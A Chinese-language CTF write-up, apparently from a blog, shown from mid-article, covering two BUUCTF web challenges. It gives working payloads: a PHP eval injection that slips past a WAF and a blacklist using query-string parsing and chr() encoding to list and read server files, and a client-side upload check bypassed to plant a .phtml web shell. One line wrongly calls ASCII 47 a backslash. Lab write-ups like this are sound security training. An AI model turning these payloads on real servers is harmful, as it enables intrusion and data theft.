success参数则定义请求成功执行的函数。可以看到请求成功之后,找到id为result的元素。在其后面加我们的HTML标签。而计算的结果则使用strong标签包裹。总的来说就是将结果输出到页面
error参数则定义请求失败时执行的函数。其内容则是一个alert()弹窗。因此我们传入a的时候。出现了弹窗,则是执行了该方法。
通过审计JS代码,发现将我们在input中输入的值,交给了calc.php文件中的num参数处理。
php代码审计
我们这里看下calc.php文件中的源码。
<?php
error_reporting(0); // 关闭所有错误回显
if(!isset($_GET['num'])){ // 如果num参数为空则在页面显示当前页面的源码。
show_source(__FILE__); // 显示当前文件地源码
}else{
// 如果num参数不为空则执行下面代码
$str = $_GET['num']; // 将参数num的只赋值给变量$str
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; // 定义黑名单
foreach ($blacklist as $blackitem) { // 遍历这个黑名单列表 用意逐个取出列表中的值
if (preg_match('/' . $blackitem . '/m', $str)) { // 使用正则表达式逐个与用户传入的参数进行匹配
die("what are you want to do?"); // 匹配成功则在页面打印 并退出代码的执行
}
}
eval('echo '.$str.';'); // 如果传入的值不存在黑名单中 则可以成功过执行任意函数和命令。
}
?>
通过代码得知,发现我们可以传入参数num 。但是传入的值不能包含黑名单中定义的值。否则会打印what are you want to do,并且退出代码的执行。从而代码不会走到eval()哪一步。致使不能达到任意函数和命令执行。
尝试构造payload:
/calc.php?num=phpinfo();

发现页面返回Forbidden。猜测可能是由于WAF的缘故。如果触发calc.php文件定义的黑名单,则页面会输出 what are you want to do?并且退出代码的执行。很明显我们的值是没有包含calc.php中定义的黑名单。综合前面注释所得知,页面存在WAF。
而WAF之所以能检查到我们传入的num参数不是数字。可能是因为它对num参数传入的值进行了检查。而并没有检查其他参数的值。
PHP字符串解析特性绕WAF
这里就需要介绍PHP对字符串的解析特性了。
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
正因为PHP会将所有的参数中的空白字符串删除。于是乎我们就可以绕过这个WAF。
众所周知,WAF会检查num参数传入的值,但是它仅仅会检查num参数的值。并不会检查 num的值(注意num前面有个空格)。 num和num是两个不同的参数。因此可以绕过WAF的检查。
而php在解析的时候,会自动删去空白字符,即空格。最终变成num=phpinfo();
尝试构造payload:
/calc.php? num=phpinfo();

即可成功绕过WAF的检查。
分析PHP的phpinfo页面。发现PHP将system()和exec()以及shell_exec()和passthru()等命令执行的函数禁用。

于是我们需要换一种思路去获取系统的目录文件。
经过百度搜索之后,发现scandir()函数可以列数指定目录的文件夹和文件,并且php配置并没有禁用这个函数。

尝试构造payload:
/calc.php? num=scandir('/');

发现触发了黑名单,于是乎去源码看了下,发现/和\以及单引号都在黑名单中。因此我们使用chr()函数对ASCII进行转字符串操作。其参数为ASCII码。
而十进制的47对应字符 \
因此构造payload:
/calc.php? num=scandir(chr(47));

发现页面返回Array。scandir()的返回值是一个数组。而num参数的值是使用echo打出来的。echo是不能输出数组的。因此我们需要在scandir()前面加上print_r()。
print_r()函数是专门用来输出数组的。
/calc.php? num=print_r(scandir(chr(47)));

根据结果发现,系统根目录存在f1agg文件或目录。这里尝试使用readfile()去读取文件的内容。
/calc.php? num=print_r(readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
/*
其中的十进制47转为字符为/
其中的十进制102转为字符为f
其中的十进制49表示字符为1
其中的十进制97表示字符为a
其中的十进制103表示字符为g
*/

即可拿到flag
类似readfile()函数的还有file_get_contents()。
这里扩展一下,我们在Linux系统的Terminal中键入 man ascii 即可查看ASCII对照表。当然也可以百度。

[ACTF2020 新生赛]Upload
进入到页面之后是个💡
鼠标移动上面,发现文件上传提交框。

尝试上传123.php文件。发现页面提示只允许上传jpg、png、gif结尾的文件后缀。

之后我们右键查看源代码。发现引入了一个js文件。以下为js文件内容:

虽然中文是乱码的。但是我们看代码的结构可以得知,上传的时候对文件后缀名校验是通过JavaScript实现的。
而当我们点击提交的时候。则触发了checkFile()函数。也就是上图中的代码。

由于JavaScript代码是由浏览器执行的。因此我们在浏览器中禁用JavaScript代码之后上传即可。也可以先上传一个.jpg结尾的文件。之后使用Burpsuite进行后缀名的修改。我这里利用后者。
由于后缀名是JavaScript是由浏览器校验的。我们在抓取数据包的时候,已经经过了浏览器。因此我们直接上传txt结尾的文件,发现是可以上传成功的。

这里尝试上传.php结尾的文件,将其Content-type修改为image/jpeg

发现提示Bad file 考虑可能是php后缀的问题。我们将其修改为.phtml。

发现上传成功。.phtml是php文件的别名。部分服务器配置认识这个文件。遇到这个后缀名则将其交给PHP程序处理。

尝试访问,发现访问成功。因为页面只写了一句话木马,所以页面没有任何内容。
打开中国菜刀或者蚁剑进行连接。在系统根目录发现了flag文件。

flag{e8d89e56-fc33-46cf-b588-659b785eba20}
写在最后
由于本文章字数已较多,导致文章在编辑的时候,会偶尔出错。故将在下一篇文章中继续写BUUCTF的web模块中的writeup。
本文作者为blog,转载请注明。